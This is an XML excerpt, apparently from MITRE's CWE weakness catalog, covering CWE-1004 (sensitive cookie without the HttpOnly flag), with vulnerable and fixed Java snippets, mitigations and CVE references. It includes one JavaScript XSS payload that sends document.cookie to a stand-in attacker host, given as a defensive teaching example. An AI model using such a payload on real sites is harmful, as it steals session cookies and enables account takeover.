cwec_latest.xml.zip

<?xml version="1.0" encoding="UTF-8"?><Weakness_Catalog Name="CWE" Version="4.6" Date="2021-10-28" xmlns="http://cwe.mitre.org/cwe-6" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://cwe.mitre.org/cwe-6 http://cwe.mitre.org/data/xsd/cwe_schema_v6.6.xsd" xmlns:xhtml="http://www.w3.org/1999/xhtml"> <Weaknesses> <Weakness ID="1004" Name="Sensitive Cookie Without 'HttpOnly' Flag" Abstraction="Variant" Structure="Simple" Status="Incomplete"> <Description>The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.</Description> <Extended_Description>The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.</Extended_Description> <Related_Weaknesses> <Related_Weakness Nature="ChildOf" CWE_ID="732" View_ID="1000" Ordinal="Primary"/> </Related_Weaknesses> <Applicable_Platforms> <Language Class="Language-Independent" Prevalence="Undetermined"/> <Technology Class="Web Based" Prevalence="Undetermined"/> </Applicable_Platforms> <Background_Details> <Background_Detail>An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.</Background_Detail> </Background_Details> <Modes_Of_Introduction> <Introduction> <Phase>Implementation</Phase> </Introduction> <Introduction> <Phase>Architecture and Design</Phase> </Introduction> </Modes_Of_Introduction> <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit> <Common_Consequences> <Consequence> <Scope>Confidentiality</Scope> <Impact>Read Application Data</Impact> <Note>If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.</Note> </Consequence> <Consequence> <Scope>Integrity</Scope> <Impact>Gain Privileges or Assume Identity</Impact> <Note>If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.</Note> </Consequence> </Common_Consequences> <Potential_Mitigations> <Mitigation> <Phase>Implementation</Phase> <Description>Leverage the HttpOnly flag when setting a sensitive cookie in a response.</Description> <Effectiveness>High</Effectiveness> <Effectiveness_Notes>While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHTTPResponse to read the headers directly and obtain the cookie.</Effectiveness_Notes> </Mitigation> </Potential_Mitigations> <Demonstrative_Examples> <Demonstrative_Example> <Intro_Text>In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.</Intro_Text> <Body_Text>The snippet of code below establishes a new cookie to hold the sessionID.</Body_Text> <Example_Code Nature="bad" Language="Java"> <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>response.addCookie(c);</xhtml:div> </Example_Code> <Body_Text>The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:</Body_Text> <Example_Code Nature="attack" Language="JavaScript"> <xhtml:div>document.write('&lt;img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '"&gt;'</xhtml:div> </Example_Code> <Body_Text>When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.</Body_Text> <Body_Text>To mitigate the risk, use the setHttpOnly(true) method.</Body_Text> <Example_Code Nature="good" Language="Java"> <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>c.setHttpOnly(true);<xhtml:br/>response.addCookie(c);</xhtml:div> </Example_Code> </Demonstrative_Example> </Demonstrative_Examples> <Observed_Examples> <Observed_Example> <Reference>CVE-2014-3852</Reference> <Description>CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.</Description> <Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3852</Link> </Observed_Example> <Observed_Example> <Reference>CVE-2015-4138</Reference> <Description>Appliance for managing encrypted communications does not use HttpOnly flag.</Description> <Link>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4138</Link> </Observed_Example> </Observed_Examples> <References> <Reference External_Reference_ID="REF-2"/> <Reference External_Reference_ID="REF-3"/> <Reference External_Reference_ID="REF-4"/> <Reference External_Reference_ID="REF-5"/> </References> <Content_History> <Submission> <Submission_Name>CWE Content Team</Submission_Name> <Submission_Organization>MITRE</Submission_Organization> <Submission_Date>2017-01-02</Submission_Date> </Submission> <Modification> <Modification_Name>CWE Content Team</Modification_Name> <Modification_Organization>MITRE</Modification_Organization> <Modification_Date>2017-11-08</Modification_Date> <Modification_Comment>updated Applicable_Platforms, References, Relationships</Modification_Comment> </Modification> <Modification> <Modification_Name>CWE Content Team</Modification_Name> <Modification_Organization>MITRE</Modification_Organization> <Modification_Date>2020-02-24</Modification_Date> <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment> </Modification> </Content_